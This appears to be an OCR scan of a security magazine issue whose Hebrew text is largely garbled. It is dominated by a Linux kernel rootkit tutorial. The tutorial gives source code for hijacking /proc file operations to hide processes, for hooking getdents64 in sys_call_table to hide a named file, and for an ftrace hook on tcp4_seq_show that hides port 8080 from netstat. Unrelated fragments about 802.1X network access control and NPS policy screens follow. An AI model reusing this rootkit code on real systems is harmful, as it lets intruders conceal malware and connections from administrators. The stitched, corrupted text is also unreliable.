backup ctx = ctx;

result = backup fops->iterate shared(file, &rk_ctx);
ctx->pos = rk_ctx.pos;

return result;

}
backupctx ~ X s X 4L AL X yEA e T TAXTAS L 0 1B, DX S L L X

a A > b ~

s.Lox X s . X N 14 S L sstruet dir_contexts

A~ ~ v

( “filldire . <7, xixo o x direntk 4T As Xy 411X

l4s

x T X f e x §

> «(Nalive) Hypervisor from Scrateh
www.DigitalWhisper.co.il
nH 2021. ~ X125 T x { L ¥




Technologic

Lo x ox o T 47 difendt® « . (1 X 0¥ L backupctx ded 43 X oL
1 e o xS 1 1 Yilldir-s+~ €4 xiix_ o ox x| X7 siteratesshaerd X+ " 4s XX
L X Fedloxox . B Yoo X T O 1. v XS LLyYy X, x
FA X0 LX) sy Tl X x4 T, 4 X e e s DX e T

(1 x pxn,

1 _* hookds~ * «* + 1 d/pgroc-s _ X . x ¥ . Xiterate shaerd~::{x{"" * 4 . 1+

s 1. s x4 rootkit-S_ S:i~ S<.1._""  .iteratd shaetds , ~~ 15 x . 14, .

T I
ffile_operations ¥ *strugt. 1 1 1 xsX4.s {1 4s* .hackupfeps s ~ . x < {47 T ],
static const struct file operations *backup fops;

-s . s " lprac _ . fileloperationss . X Xrootkitks 8" o« s " L]
. file_operations* + 4 _ " _ s ¢X* xoix Lo XL s + Hiadkingl ” I"s X
Fd 74 x 7o .« ] file_gpdratians. ! X «1s* « X{ backep fops | - Aproc

s x4 L .xX " s il4, X 171X s 1
static int process_hide(void)

{
struct path p; x4 s L. . X S
printk(KERN_ALERT "rk: LKM loaded!");
kern_path("/proc”, 0, &p); file operationss S A T T S I B PPN
//get the inode kernJ)ath ., ¢ ) X . X [5[‘00@‘ i.’ . s ¢ .
proc_inode = p.dentry->d_inode; ~
//get a copy of fop from inode 1 strugat ’pathi,x FXos A - 1% ~
proc_fops = *proc_inode->i_fop; file operationss v ] . x s L
//backup the fop
backup_fops = proc_inode->i_fop; r o X LY X" 1" 1] X v . oL
//modify the copy with out evil func fil i . a : backup f

s : X
proc_fops.iterate_shared = rk_iterate_shared; lle operations ackuptops 1 L
//overwrite the proc entry's fops . FdT L B » 1+ L X .
inode->i_fop = & fops; - - -
PEQESMBOSSLIERS RIS RS file operations 1 iterate_shaerd
return 1;

} J n S X X ” ‘| ” N , _I ” J X S -

static void process_unhide(void) ’

{ ,_.|Vx~”'|”\~ s ¢ X xle“l_ X‘vs
struct path p; x o x back fops +file_operations™
kern_path("/proc", 0,&p); « . .

= X W s Ix o x ",
//get inode and restore fop ° flb—opetatlons b b v~
proc_inode = p.dentry->d_inode; .hijackings 17 1
proc_inode->i_fop = backup_fops;
printk (KERN_ALERT "rk: LKM unloaded!");
}
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F1 1 4L0s s 1 1c 9.

~ ~

s et x o %, D 4]

Fdl4des s x 7
yHSw | r s XA

” Xn-ln\

1.8 T NN FdL s L

[ N e

r 1 Jprot-_

file-. ~gyscall hooking s _

s ¢ -

getdentséd4(3, /* 41 entries */, 32768)

= 1336

“~

s -

r . getdents64. " x

_ x Lieverythingisafilgox 4 | s = x{ 41

5.|;$$x‘:

S L

~

/proc-*

, b FXos A

~ ~

L s s X

~ a ~

kL

Ioes

x

—_
4

—_

gtracels 1 $ | x & operation~ s

L s ¢ X _* gétdents64 d . 1
+ 1 hdoking _* 1" 1 deflents6¥d .- _L
, 14 _ 1hookt ! T4«x  + A

~getdents64  x . x b x o 4 1. {7

L s o %Xy

~

X |
>-| s .o

qs:

dH+ X « x |

L Fd1

~ ~

X ¥ » « hooks] ¢:4.”

SXw XX
~ >

D N Yy 4 .

s_1x |1, s

40 s o x o

x getdents64 X ~ |

S ” ” I- ~ S r” AN

A BT B
i getelents64 1 . -~

Linux dirent64 drip h getdents64 _

S S

S

Modify drip to hide
our file

getdentsb4

x 7 1 file descriptor« x_ s |

XS,

¢ s =

X"Y X

Input:
(root/ "ar17) Dipm

%
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L XL X bx x| dipl %14 _x"1%s 449"

X A JA _IxXJA’l’_s,,ad;,:ip‘(‘L>‘§¢,_;|qRR-|~s - X L ,_-|A|x-| X

Linuxdirent64

x o % « |indX dirent®4s linux dirent + , x " . * .1 4T x4 Xx ox

struct linux direnté4 {
ino64 t d ino; 64-bit inode number */
offé4 t d off; 64-bit offset to next structure */
unsigned short d reclen; Size of this dirent */
unsigned char d_type; File type */
char d_name[]; Filename (null-terminated) */

L | getdents64 s .~ « _ 7 | x I s linuxdirent64s Yriply . , X -1 X7 0L _ s 1 s
x o r e x A s o x4 T Hitent. (XX« s
ReturnValues « drip-_ , ¢ v 1 *x 77 4« L drip*® « XB1L )4 7 X0 «w Sp T4 XY«
X voww " r 1 1getdents64 | Return¥aues s 14 .58 s Lgetdents64 v~ 1,

ermno ~ b -wmx.AxTerdr S+ . 1 s A A RA S x0T
A4 4l apxlirents x g o v 4 oo XITXOSXO 4 X Tx s L {8 DX X Xy D
«x s direhtss x .« (ddnhme « x s T x ., drip-X, Xndeinberx 4 ¥ _ {1 x 7 |

s Ol v AL x Y e vdiveht$ L L I x T X Hreclend ¥V I HHs

= getdents (fd, drip , count );
linux_dirent64 dir = drip ;
(i < ret)

( ) odir 4+

(memcmphide_me , dir ->d _name, strlen (hide_me))

remove the dirent

+ = dir ->reclen

ret ;
oo T getfents64 T v _ X 7 S S A - R
Do T AT st L x0T s s s Tx s
d“p L » i -P(",,~ S X Lo xdripl l L K X ., s X L .| '] rom X X X Lo_L
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asmlinkage long sys_getdents64 _hook (const struct pt_regs *pt_regs)

countdrip fd x o~ 4> s X "cdnststructpr_réds*pr.regs S H 1 ~. ¢ 410 x  x "]

a

THAs L 4 Tes e d LT e e i dx e 44ts s LT ]
1.1 Fd17 XY, s Lo Coe S B x 1T . N
P41 XY oo D x o Structptredscd AT ALY, ke XYIO xxd (b s )

asmlinkage long sys_getdents64_hook (const struct pt_regs *pt_regs)

{
int ret = org_getdents64(pt_regs);
int err;
struct linux_dirent64 *dir ,*kdirent, *prev = NULL;
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
unsigned long i =0;
//using the real syscall for getting the info
if (ret <=0)
return ret;
kdirent = kvzalloc(ret, GFP_KERNEL); //alloc memory to kdirent
if (kdirent == NULL)
return ret;
err = copy_from_user((void *) kdirent, dirent, (unsigned long) ret);
//copy from user space: >ret< from >dirent< to >kdirent<
//printk (KERN_ALERT "copy form user %u", err);
//printk (KERN_ALERT "copy form user 1: %u", err-ret);
if (err)
{
kvfree(kdirent);
return ret;
}
X" 1T g 4T s 1< getdentsed bo¥ < d 41 iEsex 0T x g )l
I x oox 0 ox 7 linux dirent64 w struet s _ xarrars ; ~ 40X ] el iy SEdds A X A
drip © ~ o { lindx dirents _struct -~ « 1 4 drip, ., x 7 * x
Lol X X sk XS AV X e e e s s 0 X e T
x {0 xdirehts 4 3 1 ¥ s qdir) STOX _swtpgetds (- 4 x L A TX L (v 4.
S ox X x L fetdents64sx " udrip) € S~ x s oL« s s q{s{ {7 s

F o finedirents C s 4 < . 1 dpull , T Xstrdctt 8 Y < 4
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1 . susedspaces _dirent - «  s$tfuctis + 1 _ 1 _p.msSx."x] "X *rooor 1o -7

~ ~

L« ¢ tiserspacE x."*1lbetdents6d . 0 s - . X oS

- X DX o oo " o direrits s v b A AKX e SxUTXT Vs X L X

> a o

cxdirgnt x ¢ ox <« o« | dgetdlents6d L _ - MTyL 5 L s "X s . o, 7

> ~ ~ ~ v

:userspace. X - X+« . 7

while (i < ret)

{
dir = (void*) kdirent +i;
// in strcmp return © means strings are equal
if (((memcmp(HIDE_ME, (char *) dir->d_name, strlen(HIDE_ME))) == 0))
{
printk (KERN_ALERT "found the secret file file");
if (dir == kdirent){
ret -= dir->d_reclen;
memmove (dir, (void*)dir + dir->d_reclen, ret);
} // putting in dir the next dir in the buff
continue;
}
prev->d_reclen += dir->d_reclen;
}
else
prev = dir;
i+=dir->d_reclen;//incrise the offset for the while expersion
}

err = copy_to_user(dirent, kdirent, (unsigned long) ret);

if (err)//using out for regular out and not for error out

{
kvfree(kdirent);
return ret;
}
return ret;
-4l v xs s o x s s o getdents®4 x 1 1S cs "0 L% X Ao d 1
L1y ce#l x X Cogetdents64. - ¥t . " v 41X s Jret-Y L Hit L X ox o]
o T R T B 1 SXos o T AT sed xS YT T X TS e X

getdents64 1 N x - direfite | 4 dirs 4«

~

dir->d name dir-* T I dirents. . _ o+ _ S 1. T B RX XX SX o 4T X %

~ ~ ~

T ls A0, L, 1 v A HIDEME % ™17 «S L, wr S ™ o X707 o) (X0

> >

iLoprev S« b A4 T 1 dirx e I e s T d
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getdents64 « _ 1 . direntdsx - r 1. HIDEMEL " B&r® + x = 27 4 s> X
Tox o dirent*  r 4041 x 7T Tdrip XX AT T Y 0 L ]

rddirent r 40 st s direfit X ox T Judir->dogeckerny d ) x P4 o ] L] 17 0 v A

a

L B 1 x X divent=s - 4L § 0 xdiréntst Tixel s by s X s

~ < v

Tx v.s s s Adirents XL ST X Ident X X Losds 4 L b S

FAdd s T X v s dirents b x40 s dsiai. s T X LS , S _L S 11 .
Llox oy ST ITTTISX X (L) X .8 R . X S For ~ xdrip-c T .
FyL L FTys-Xe )Xo X X" T sqetsy S X s udripss Sl Foeo¥ o4
Sl ys X f S X _Pirent¥ s(L s ox o "s Dy 18 4 kdhg xS %

y o b7 Adirent _x x> Do v 40 s Ax o  s ¢ s dirents x| T ox v s
y#s~-x _) v 4 difeate & . - 1! xdiréntsr 8 _rcélens L ys D0 X x4

¢ 1 kdirent - getdénts64s .drip-s s 1 s dirente ) « 4 - drip X7, 1 "Svv 4 8 L 10
ret + « .~ 497 dApsx "X

Lhook.s Cn L. UL « - X "L ”‘..".. sIXxAs 11 x 7 , ~ L _ S X
x L klms x ¢ { dyscaltable getdents64
int replace_getdents_syscall(void)
{
sys_call_table = (unsigned long *) kallsyms_lookup_name("sys_call_table");
if (sys_call_table != 0)
{
if (set_page_write((unsigned long) sys_call_table))
{
//unsigned long orig_cr@ = read_cro();
//write_cr@(orig_cro &( ~0x10000));
printk (KERN_ALERT "edit cr@ to write ");
org_getdents64 = (long unsigned int (*)(const struct pt_regs *))sys_call_table[_ NR_getdents64];
sys_call_table[_ NR_getdents64] = (unsigned long int)sys_getdents64_hook;
set_page_no_write((unsigned long)sys_call_table);
printk (KERN_ALERT "edit cr@ to no write ");
return 1;
}
return 0;
}
return 0;
}
« + 11 1* kallsymhslookuplname : - Syscaltables @ « ¢ 4 4 X D x0T 047
Y xoos X0 s gbtlehtst4s 4 1D 0v)  piddel X v s) T x L 146X L x 6 X
x  detdents64s ) xhdbaks L _ SXx ol ]s Covokles Lo ok AT X

s X -I . J S F:-I,’LY-ISA >:v\
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TCReonnectionss _ . | s

...t 1417 packets®” 4-sotkets* ~ x4 o X717 11 7 4H
« U x wwireshark L 47 " npetstat 4 Xk + ¢ x sockets 4+ L~ X T 1 x " 17« X
X o4 o e AT x| e A2esx ] L sotkets* |, Bs_ I o xiXx s fs 4] s, x X
Jpacketss .~ x 4 o Lxx 7oos O 1 L x]

Fd 417 xx s <L 1S S v~ .~ Y dqstrace 1P« L AX ] '

L, ucatt x " xs  [prochet/tcp- Y X+ 1 x_ X x <« s« dlgxpsL s s x| ¥4

Yetstat ¢ . 1., s ~ 4% *xoos T px o T A xs 4]

:~$ cat /proc/net/tcp
sl Tlocal_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode

0: 3500007F:0035 00000000:0000 OA 00000000:00000000 00:00000000 00000000 101 0 38406

1: 0100007F:0277 00000000:0000 OA 00000000:00000000 00:00000000 000000 0 0 38913

:~$ netstat -atun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
0 127.0.0.53:53 0.0.0.0:* LISTEN
0 127.0.0.1:631 0.0.0.0:* LISTEN

38% LISTEN

0 ::1:631

1, 7)) 1L _ Rrodinet/fcp- _ « X sx L ] ¥y x 4 4s D, x X oxs | xs

Fdod 0w dasci, | X .4 8)X s < AMA L b XY ststate oy xxo mddesx o (
listen x _ |

Lo {1 ., <" {4 %Xs L‘~?$'|VL”AX -1<\¢,,‘|,_“s-|vx X ¢ s S, _ss « 4 s s

w41l s x.,1vs s« s .« s X L, 4% < oneks@t - & x

“netstat 1 74 xS , % s ¢ - . X < ;XX 1 . X s s s

10" "4, sS4« {4« userspace! ¥ xX s 4N KT o5 X ] ax

lkernelspace* -~ ~ _ 4 s T A4l x oxIxooo0 L ]

~ a
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Iproc/net/tcp L . S+~ . "X L4117 X

X8y v L _kerpekorg ir  pdd AXT x4 1 X

° ~

This document describes the interfaces /proc/net/tcp and /proc/net/tcpé.
Note that these interfaces are deprecated in favor of tcp_diag.

These /proc interfaces provide information about currently active TCP

connections, and are implemented by tcp4_seq_show() in net/ipvé4/tcp_ipvé.c
and tcp6_seq_show() in net/ipvé/tcp_ipv6.c, respectively.

oo X S precngt-* L 4 s X $ . T X v s o 4 X x ] doruces, ok 4 4 X 1

R tcp6l udp6 ludpx r 4 « X S Y Fdo 44 oy xhy Lo X L

Tidtep L ws L v X q s{s4 s, < X)) Xprs  opAq.

oo 7 T X 1« ostepd seqg show() 4 xus . 4,7 s o X s (p 4 X s L0 g
XX ws o0 x4 stepd seqhow(-T - x 7 L X s

tcpdseqhow() v, ~ X~ w1 o 41T XxX X
2629 | static int tcp4_seq_show(struct seq_file *seq, void *v)

2630 {

2631 struct tcp_iter_state *st;

2632 struct sock *sk = v;

2633

2634 seq_setwidth(seq, TMPSZ - 1);

2635 if (v == SEQ_START_TOKEN) {

2636 seq_puts(seq, " sl local_address rem_address st tx_queue "

2637 "rx_queue tr tm->when retrnsmt uid timeout ™

2638 "inode");

2639 goto out;

2640 }

2641 st = seq->private;

2642

2643 if (sk->sk_state == TCP_TIME_WAIT)

2644 get_timewait4_sock(v, seq, st->num);

2645 else if (sk->sk_state == TCP_NEW_SYN_RECV)

2646 get_openreq4(v, seq, st->num);

2647 else

2648 get_tcp4_sock(v, seq, st->num);

2649 out:

26560 seq_pad(seq, '\n');

2651 return 9;

2652 }

{"dprac/net/tcp . 1L s L _ STX <. HLOEL XS FC Ixis sk

st 4 s x4 ?2sx 4 s @Sl S+ 1S S xXwios s 70 0 d]
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seqfiles 1 1  ~ Théseqfile Interface « _ kémelorg ¢ . -~ _ «~ _ L X7 o X« v 4 XA

~ ~

Fl e T x Dy Fd o x . .« 1 L x  file operationst - A4 s x x>

> ~

x4 41 x.« 141, < iseqgfiles [ x *!jgrdc-k s ¢ x "4 +8s s T x|

e ST XDl pd x4 4 X s 4y R
cod X X o x (fprocinetitep. 'L T ALXIsiL, sax TTIx o x o LD ox
X o T Ix Dosopensx ik ARl dA%X_ xp x sy 4 7 x Zgexpetstatsd XA o~ X
x "ogpén- -~ L4 " x X x . openfileopetationts” . x +.]_ - Seqfilegs. | x|
S~ v ") L0 jprécinet/tep- X <L oW {17 d{sdgfiless X . X x 1" s o
X 7y - _ 1 1 seqoapédration* x 1 ¢ x*  xd -4sb 4 1. 5* ., s pracf$ ] &~ _ -~
" "s 14 s tcpd’seqshowi Yy T . -
L, Ll P hobks I x4 T s L s 4. T4 sy 1] 1.1 x s
S L, X o s tC=p4_§EQShOWS L, ~” X x " ox v w s D S
2629 @ static int tcp4_seq_show(struct seq_file *seq, void *v)
2630 {
2631 struct tcp_iter_state *st;
2632 struct sock *sk = v;
2633
2634 seq_setwidth(seq, TMPSZ - 1);
2635 if (v == SEQ_START_TOKEN) {
S A% L s L veid™ ) AT ystrudtseg file 4 X X o L s 4 LT x s
11 x0T AT T v e {7 LLY X Xopso Xl

~ ~ ~

Htop~x _* socketx "struct. s ¢ =+ { stlustsockr " + . X HCcoOo RS x _*

Jproc/net/tcp v . 1., s 1L ST X v s s fx s X T KXy T

> ~

t

structsock « . 14 *7” wseckef Ul LopAxI{_ s o 7 o xX L x0C.s  s¢

struct sock {
/’1’

Now struct inet_timewait_sock also uses sock_common, so please just
* don't add nothing before this first member (__sk_common) --acme

Y

struct sock_common __sk_common;
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
#define sk_refcnt __sk_common.skc_refcnt
#define sk_tx_queue_mapping __sk_common.skc_tx_queue_mapping
#ifdef CONFIG_XPS
#define sk_rx_queue_mapping __sk_common. skc_rx_queue_mapping

#endif
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#define sk_dontcopy_begin __sk_common.skc_dontcopy_begin

#define sk_dontcopy_end __sk_common.skc_dontcopy_end

#define sk_hash __sk_common.skc_hash

#define sk_portpair __sk_common.skc_portpair

#define sk_num __sk_common.skc_num

#define sk_dport __sk_common.skc_dport

#define sk_addrpair __sk_common.skc_addrpair

#define sk_daddr __sk_common.skc_daddr

#define sk_rcv_saddr __sk_common.skc_rcv_saddr

#define sk_family __sk_common.skc_family

#define sk_state __sk_common.skc_state

#define sk_reuse __sk_common.skc_reuse

#define sk_reuseport __sk_common.skc_reuseport

#define sk_ipvéonly __sk_common.skc_ipvéonly

#define sk_net_refcnt __sk_common.skc_net_refcnt

#define sk_bound_dev_if __sk_common.skc_bound_dev_if

#define sk_bind_node __sk_common.skc_bind_node

#define sk_prot __sk_common.skc_prot

#define sk_net __sk_common.skc_net
r ¥ sockets® 47 44, « _ ¢ «struct ¢« -member 4r _A4structx 41 P ox o0 L ] X

sockets . !4 _ s struct x4 xx s J x{ L |ldefthe*y 4:"x «r.sL_ o+ A

skcnum * «~ x port, 4 s . skdport r 141« 11 sockcemmon T X 40 ¥ LxoL 7
A7 w47t scp segshews L, TS X+ Ipcalports ;v ] e i
LYl T XX s Gt x s L Tportisx D Liksterfreent S o o 7

lhook *x "-. § {1 K s s RS {4 ? 1 x , oo 1s

~ v ~ >

static asmlinkage long hook_tcpd4 seq_show(struct seq_file *seq, void *v)

{
long ret;
struct sock *sk = v;
if (sk != 0x1 & (sk->__sk_common.skc_dport == PORT_HIDE || sk->__sk_common.skc_num == PORT_HIDE))
{
printk(KERN_ALERT “"rootkit: Found process listening on port 8080 - hiding!\n");
return 0;
}
ret = org_tcpd4_seq_show(seq, v);
return ret;
}
CL X T Xx x s tuxxatep degdhow 8~ Y s L hookS X+l ovs XS] x T, D x T
P4 X = fsyx, Do 4 hook*  sSSl X 1% LeTsx x|
T L o e O NNUE S Bk BRCES Y7711 SR RO | L MU I
hook] ! xffracel + 1 _ s L s ‘hdokss ]+, I s{xi s |
SIS X L] T e A x ety firace ! 0 4]

callbacks t 1 - _ st “ A
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. L 1 . tcp_seq showwx S v d .. s 4s . callback 1~ 4 47x 44 1t Fov o S

X "hooks 44" x s

struct ftrace_hook {
const char *name;
void *function;

void *original;

unsigned long addr;

struct ftrace_ops ops;

3;

struct ftrace_hook tcpd_hook = {
.name = "tcpd_seq_show",
.function = hook_tcpd_seq_show,
.original = &org_tcpd_seq_show
|

static wvoid notrace register_callback_hook(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *ops, struct pt_regs *regs)

struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

#if USE_FENTRY_OFFSET

regs-»ip = (unsigned long) hook->function;

#else
if(!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
#endif
b
1118 s B streict ftracexhbok *." x¢dNhagdks , -+ 14 « « 7 x| Lo .
L X x I |s LA s 4.7 x s , - _ 141« members " x | s
ftracer | ! 1 _structftraceé gps* kasyms* ) s ., ss ] . X s {
X T os o T xS T X e, sp) ST T x sh |
. kallsymslookup name {1 -~ | Fde ox x T e o
o, xdoos o 0, s ox o fjaced b x| B TAX 148 T A BT X

.callbacke s ~callbbach 4 x "4+ s 4. L x

> v ~ ~

~ » ~ 1 s _reqgister callbaékhook - - callbacks’ .~ L s " s 4 daX
XX I o x X x 1t o scallBabks s Hs A i e s

Sv 4. ws ol %X x tallack | x( dcabhcks « , S X _ ) s _ L 14 x4«

~Xéip~:\ Fd" S ] 1L F v . S XX x 1 % s 1y « {s
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LA s s ? v s A
f_hook->ops.func = register callback hook;
f_hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
structftrace 1 flagsmembers | eallbacks * « s . x "o x,. ¢ 4 4Ly ls
crd e Xs gy 4oy ls D
1 FTRACE_OPS_FL_SAVE_REGS
Y FTRACE_OPS_FL_RECURSION_SAFE
1 FTRACE_OPS_FL_IPMODIFY
X U7 e s oeipr oL U X L R T K,
- 1« s structftracé dps - - s 1 . vregistet firace function> _ _ + _ 7 XXX
:callback
ret = register ftrace function(&F hook->ops);
X, o ws o4 s S Coe _ tep_seqshow] * x x T L ¥ s X { L { _aeisX
eeip, A1 L TxL A4S xX  rxx ] i s i qd.a) o Ax s
L1, , s ftracesetfilterlipy " 104, 447 x s L x o 00 X
-1 fcp_segshow . _ = *x |  haoks .« 1 X7

ret = ftrace_set_filter_ip(&f_hook->ops, f_hook->addr, 0, 0);

~ ¢ callbacks SN o4, T KImest ox T A sy s .o, " . ] i
Yanregister ftrace_function

err = unregister ftrace function{&hook->ops);
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FoXd
x4l %, xu"oys]iise opootki T ¥ U Ird . Sa oS b 4.« s
s X« T yx sy oss D, hookS, X LS A Xl Al X T T
S R
1 {segxopertionssyscalls . | x "1 . footkits~, & Kooy x o oxo o p x T
clx x4 T, e xR X sfradd 4 < F XL x T Kx . g {7 X x ¥y s T
X o X w4 s sotketd s, 1 4L s 1] Xxederseshell &, 1 XL X L
J x €0 A R T I A ST T B
v q{s 1L L1 s

ItamarmaoudalOl@gmail.com
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S 47 4 *EPPNAC x- x 7 IEEE02.1X

x\\L\. =::\.”XS-|

~

L (2 l.xx  XxBAP{ NS

CX DX w4 8024 T~

XA s e X ] « X ss e rpbs o ox 4 xo

~ ~ H

|.:\. _|_\.”J-|_-|¥ |_\.|X$ L X ” I -l ” ,X: -I"J - ” <7

Y 4% e S oo sxew Xk, xso ]l JL kT L % e 4 XL s L]

:_lx)Eu_IL\""JXX”:.ILNI.ISAVTIY(,,,VQ L X%« ”JV) I'I" X X

1
°
x
x
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X
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1%
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x
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X
[%2])
%

AL RHY DT Ry, X
” X _I‘_ ., S Lo =YS|_ s"1 X X < X S |"|> X " s "y s 'I

1% s Ty x4 x 0 p e AT x e X

14 7 Foe A TooXx X s { L« . X1 s o Lol
s 1T s L Y x L 11s ¢ Fdooox o, T A4E s o x PN x4 s AT yax (1
- dakad _ x s _ A i X A I : ” 1%« W DX x{fleox 7]

~ ~ > ~ > ~

CoX 4 sw st xS JEEEB021x 1 x| 11 c A CLANL w3 X s ox T X

1) -0 21 s e APX X e x s o w . F xS oL 1sx

R I T T T x .S

~ v ~ v ~

Dx _4.s IBPPs . X _INAG S 8IX.x . .4 lsL p 4 lixs oxr”
RS psI® o x ) {0 %k JEEBOALK X _ s X 4.1

1 L. X Tl 802K L X LS .k % F MWireshaERE % X 1w 117y
X« x 1x ., s <bWinl0 ¥ RADIUSL .Y I ¥ x  DOS X*x 13 x, x| x]

sl o4l JNAC sy x i mx] 4s X B p ] v sy Y sy,

Tobd e L 15X BPRXA XX Al LK L. X XX
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s " . x s 1Y x ,fx-|ts|-|)_(:|t< F447] x < .
s | i LoX ! F.|:sl,,'|x-~xF .|,,y-|~xxvvs Lr 44 ooy s H ey R R I N A
b 1 %1 s Ox s P Xos X X X DX X X ] e X e X
L 1S 11s L1 <0
?2r 4041 S 4.
A A T R I e B B R S O B T LR IR S
L bl o~ x 1. x s ¢ ddds o5 ] (AHATX T T e Yy x )
CWIEF oL . s o« U X)) ~ LEthefmetr Y F 4
T4 SLANs Lt L0 sl T B X s b xs S fy X8y T 1Y X 44 s
. A X s e v Ao x A e x B 4TSS T S X T e X Y s, X X
_S Dox " ox o, xA-|ys X Lo~ Zx-|A><s Pl "P"Iv«'\s‘iv":"i~r¢§ L}
"X "y BT 4% x " NetworkAcces¥Contro) NAC
Fdd1- 14 0 v 1%dd4. %1 » X ENAGL, XA XT 4% D 71X T ¥ sy *xo
s~.|y I 4 :xv1‘__ ’Asl‘s“ ZZ\xI|_xs“1"|_A|_AZ s " Y Is
cxx il e XX RS ~ » L vendors+ -~ < JLNAE() + X ™ x,, . . P
:x.|¢J,,v
s X sl X oo XL Pl L X 1A -MAC A X s AX 147 F
X X :~J,'x~ " I><~ , X € s MAGs ,;y\XLxKJSQ_SJvKZZJx::§”
1 _ 41 Yo . Lo XSSl o xXe o x ] x X 1 MAG ¥ % s xgx)ox s
Yoo x(Xx{Jx{\ . s 14874 <\t])ﬁ,xls“_ xq)ﬁ oL S o~
x "X 1 S L R B B BN , 1 X s R B 1« TMAGS _ “ 4 X 0 ]~ S
x 40X r MACspodfitg ++.s - X b IXDB: 15 _ S H-F iy x .,
Lol [ I FLoxo X Dx L x 1 ys AI{ys.,_-[”]ﬂ)%‘v\NACvXX,""V'I Lo
Fd7 1< §s4 L x sy cx o L T I B S ST S B IR S
RN o,y s es o T x4 Y X s 0,
Tx ]l S s {s 15 0 -RPAAE o xdy 0+ b XIS b e s e Y X
v oL X rd x4 .1 . s 11 *x x s " s :xv1\ ?Liﬂ‘*s‘"-"N
L . s s "y s s b A><~ .‘F’f,SAS?—.HY b3 tx’f’ T_x,;{ls{lxx
A x 7 I.|;|::;|s¥‘,_t . X S = x - S ssv.|‘><\~w~ s
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X s 4y s Sx 44 Cos fLs X © L L x-]Port NAC ~ s X
CX e e XD s, Xy D T4 0w b4 x s xs {7 L 1+ .
114 vs 4 A (et xL"SSH trapsb - ., SNMP xw s
x4 4x " s s s YS Ky AW AT Fss Ll WY 4 s, cix7IxX{ oxos
LT s t-v s o ox o 0 quefies e K kXS e b0 04T s L
updated 444, - x "< x localadmin ?-.x4+ 1. ss 14 _domainsi o+~ S ?
Windows Management WMI | S Lo L 1.1 L X «patahes O I AP
s 4 X Lok A x ] X *7 s L+ 4« Xlastrumentation . 1 o~ x X
NAC -~ . x 0. v o¥sx | x 7o e x s x o s, Xl ysxkos Lo Tox o T4 XYy s X
Portnox- % s .o x o Dx 1 xx o
Lo iecls %4 1.8 8021x1 HHWAC = x . | co.U 1 Lo X s
Pl ol oix A A% Do AT Y X oS XL o0 X o q4es 4
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Day and time restrictions x>
] 2 4 oK
12-2-4-6-8-10-12-2-4-6-8-10-12 _
a1 conce
Sunday
Maonday
Tuesday I ® Pemitied
Wednesday r O Denied
Thursday
Friday
Saturday

Sunday through Thursday from &:00 AM to 8:00 PM

VPN X, X T XX 0 e X ks mediast A Y % 1L sy
‘Wireless+Ethernet + . ¢ 41~ x ¥ {1
MAS Port Type Y

Specify the access media types required to match this policy.
Common dial-up and YPN tunnel types

[] Async (Modem)

[] ISDN Sync

[ ] Sync (T1 Ling)

Virtual (VPN)

Commaon 802 .1 connection tunnel types

Ethemet

[] FODI
[] Token Ring

Wireless - IEEE 202.11 |

Cithers

[ ] ADSL-CAP - Asymmetric D5SL Camierdess Amplitude Phase Modulation
[ ] ADSL-DMT - Asymmetric DSL Discrete Mutti-Tone

[] Async (Modem)

[ ] Cable W
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Specify the tunnel types to required to match this policy.
Common dial-up and VPN tunnel types

[] Generic Route Encapsulation (GRE)

[] 1P Encapsulating Security Payload in the Tunnel-mode (ESP)
[] Layer Two Tunneling Protocol (L2TP)

[] Pointto-Point Tunneling Protocol (PPTP)

[] Secure Socket Tunneling Protocol (SSTP)

Common 802.1X connection tunnel types

(] Vitual LANs (VLAN)
Others
[[] Ascend Tunnel Management Protocol (ATMP) A
[] Bay Dial Vitual Services (DVS)
[[] Generic Route Encapsulation (GRE)
[J 1P4n-IP Encapsulation (IP-IP) v
OK Cancel
©X 4L x Screenshdt 4 1T w0, r X 4T X T S s X
117 xx ., s 1 ) A0 . 0
User Name

The user name that is used by the access client in the RADIUS message. This attribute is a character string that
typically contains a realm name and a user account name.

Connection Properties

) ' Access Client IPv4 Address
The Access Client IPv4 Address condition specifies the IPv4 address of the Access Client that is requesting access
from the RADIUS client.

B Access Client IPv6 Address
' The Access Client IPv6 Address condition specifies the IPv6 address of the Access Client that is requesting access
from the RADIUS client.

:.» Framed Protocol
~t The Framed Protocol condition restricts the policy to only clients specifying a certain framing protocol for incoming
“  packets, such as PPP or SLIP.

gy Service Type N . . . - : :
',_& The Service Type condition restricts the policy to only clients specifying a certain type of service, such as Telnet or
Point to Point Protocol connections.

Tunnel Type
& The Tunnel Type condition restricts the policy to only clients that create a specific type of tunnel, such as PPTP or

L2TP.
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Gateway

_ |} Called Station ID
W0 The Czlled Station ID condition specifies a character string that is the telephone number of the network access server
(MAS). You can use pattern matching syntax to specify area codes.

- NAS Identifier
% The NAS ldentifier condition specifies a character string that is the name of the network access server (NAS). You

L ; ;
can use pattern matching syntax to specify NAS names.

3-] NAS IPv4 Address
T i The NAS |P Address condition specifies a character string that is the P address of the NAS. You can use pattern
matching syntax to specify IP networks.

?7 NAS IPvE Address
i The NAS |Pv6 Address condition specifies a character string that is the IPvE address of the NAS. You can use
pattern matching syntax to specify |PvE networks.

MNAS Port Type
The NAS Port Type condition specifies the type of media used by the access client, such as analog phone lines,
ISDOM, tunnels or virtual private networks, IEEE 802.11 wireless, and Ethernet switches.

14
v
O
o
3
v

Day and time re

Day and Time Restrictions

" Day and Time Restrictions specify the days and times when connection attempts are and are not allowed. These
restrictions are based on the time zone where the NPS server is located.

RADIUS Client Properties

) Calling Station ID
"3 The Calling Station ID condition specifies the network access server telephone number dialed by the access client.

- Client Friendly Name
The Client Friendly Name condition specifies the name of the RADIUS client that forwarded the connection request to
~ NPS.

B Client|Pv4 Address
The Client IP Address condition specifies the IP address of the RADIUS client that forwarded the connection request
—4— o NPS.

B Client |Pv6 Address
% The Client IPvE Address condition specifies the IPv6 address of the RADIUS client that forwarded the connection

.

request to NPS.
7 Client Vendor
%= | The Client Vendor Condition specifies the name of the vendor of the RADIUS client that sends connection requests
to NPS.
